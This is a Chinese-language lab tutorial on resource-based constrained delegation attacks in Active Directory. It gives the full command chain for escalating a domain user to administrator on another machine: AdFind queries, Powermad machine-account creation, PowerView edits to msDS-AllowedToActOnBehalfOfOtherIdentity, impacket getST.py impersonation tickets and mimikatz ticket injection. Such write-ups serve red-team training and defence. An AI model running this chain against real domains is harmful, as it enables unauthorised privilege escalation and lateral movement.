基于资源的约束委派攻击
前言
上两篇⽂章介绍了约束委派、⾮约束委派攻击的利⽤,这篇⽂章我们来看看基于资源的约束性委派攻击。通过利⽤基于资源的约束委派攻击,我们能够使普通域⽤户以域管理员身份访问远程计算机 CIFS 等服务,实现本地权限提升。
基于资源的约束性委派
基于资源的约束性委派:为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置相关属性,⽽是将设置委派的权限交给了服务机器。服务机器在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性,就可以进行基于资源的约束委派。
配置了基于资源的约束委派的账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为被允许基于资源约束性委派的账号的SID。如admin--pc的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值为test的sid值。2008 及以下的域控没有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性,只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性
攻击前提
资源的约束委派不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限,谁拥有修改这个属性的权限了?在我们加入域的时候,会输入一个域账号进行验证,验证成功则加入域,而这个账号就拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限
在⼤型内⽹域环境中,将机器加⼊到域环境中⼀般不会⽤域管权限,⽽是⽤⼀个专⻔用来加域的域⽤户去操作。那么当我们拿下加域的⽤户的账号密码时,就可以把通过该域⽤户加⼊
到域⾥的所有机器都拿下
环境配置
域:test.lab
- 域控:192.168.10.2 test\administrator
- 主机:192.168.10.4 test\yu 机器名:win2008
- 主机:192.168.10.5 test\yuwin7 机器名:ADMIN--PC
其中yu这个用户就是加域的用户,其将ADMIN--PC这台机器加入到了域环境中。假设我们获取了yu的账号和密码
1. 使用普通域用户yu将计算机加入到域环境中
默认情况下,并非只有域管理员才有将普通用户加入域的权限。域中每一个普通帐号都有将10台电脑加入域的权限。
新建一个加域的普通域用户 yu
将之前加入域的计算机退出域,然后再修改计算机名,再加入域,输入新建的域账号
加入成功
ps:决定普通域用户有权将计算机加入到域的属性如下
输入 adsiedit.msc ,在打开的ADSI编辑器右击-“连接到”-点击确定,右键 “DC=xxx DC="com" 单击“属性”,ms-DS-MachineAccountQuota属性值为10,说明了一个普通的域用户可以将10台主机加入到域
攻击利用
通过查看 “ net localgroup administrators ” 可知道yu并不在本都管理员组中,就可以通过yu域用户提权到administrator
在test.lab域中,yu域用户负责将ADMIN--PC加入到域内,那么当我们拿下yu这个域⽤户的权限后,就可以拿下域内 ADMIN--PC或者其他被他加入到域内的机器。以下所有的操作都在win2008机器上执行即yu这个账户上操作
1. 通过 ADfind 查询每个域机器是由哪个域⽤户添加进域的
通过 mS-DS-CreatorSID 查看域⽤户的 sid
AdFind.exe -h 192.168.10.2 -u yu -up yu.com -b "DC=test,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID
得到将admin--pc加入到域内的账户的sid值为:S-1-5-21-587556175-550635965-2643831430-1107
那么问题来了,我们怎么知道这个sid值是哪个用户的了?
2. 查询sid对应的用户名
有两个方法
(1)sid2user.exe 工具查询,需要把 - 去掉
sid2user.exe \\192.168.10.2 5 21 587556175 550635965 2643831430 1107
这个sid的用户就是 yu
(2)用命令查询
域用户可以查询域内所有账户的sid值
wmic useraccount get /all | findstr S-1-5-21-587556175-550635965-2643831430-1107 > 2.txt
我们需要添加⼀个机器⽤户,因为需要⽤机器⽤户去申请票据,本身的 win7 本地账户我们不知道他的密码所以⽆法申请票据,所以我们需要添加⼀个机器⽤户,⽤来帮助我们申请票据
3. 利⽤ powermad 添加机器账户
地址:Powermad.ps1,添加机器账户test
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
Set-ExecutionPolicy Bypass -Scope Process;import-module .\Powermad.ps1;New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
此时就有了⼀个域机器账户test,net group "domain computers" /domain
4. 获取test机器账户的sid值
Microsoft.ActiveDirectory.Management.dll地址:3gstudent/test · GitHub
在上面脚本的基础上我们导入如下模块进行查询
import-module .\Microsoft.ActiveDirectory.Management.dll
Get-MachineAccountAttribute -MachineAccount test -Attribute servicePrincipalName
获取test账号sid为:S-1-5-21-587556175-550635965-2643831430-1110
5. 配置 test 到admin--pc的基于资源的委派
修改ADMIN--PC的 "msds-allowedtoactonbehalfofotheridentity"值,使用PowerView
值得注意的是PowerView存在两个版本,有些功能只在dev版本中支持,两个版本的地址分别如下,这里使用带dev的
- https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
我们将test的sid值和 ADMIN--PC填入到如下
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-587556175-550635965-2643831430-1110)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer ADMIN--PC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
为了方便我们直接把它衔接成一条命令执行
Set-ExecutionPolicy Bypass -Scope Process;import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-587556175-550635965-2643831430-1110)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer ADMIN--PC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证是否成功加入
Get-DomainComputer ADMIN--PC -Properties msds-allowedtoactonbehalfofotheridentity
若想清除 msds-allowedtoactonbehalfofotheridentity 属性的值,可⽤如下命令:
Set-DomainObject ADMIN--PC -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
6. 生成票据
使⽤ impacket的 getST.py ⽣成票据(建议使⽤ socks5),会在当前⽬录下⽣administrator.ccache ⽂件:
pip install six pyasn1 impacket
python getST.py -dc-ip 192.168.10.2 test.lab/test\$:123456 -spn cifs/ADMIN--PC.test.lab -impersonate administrator
7. mimikatz导入票据
mimikatz "kerberos::ptc administrator.ccache"
注入之前访问 ADMIN--pc
注入后,成功访问
ps:通过dir查看,需目标机器关闭了防火墙才行,或者就算注入成功也会显示找不到网络路径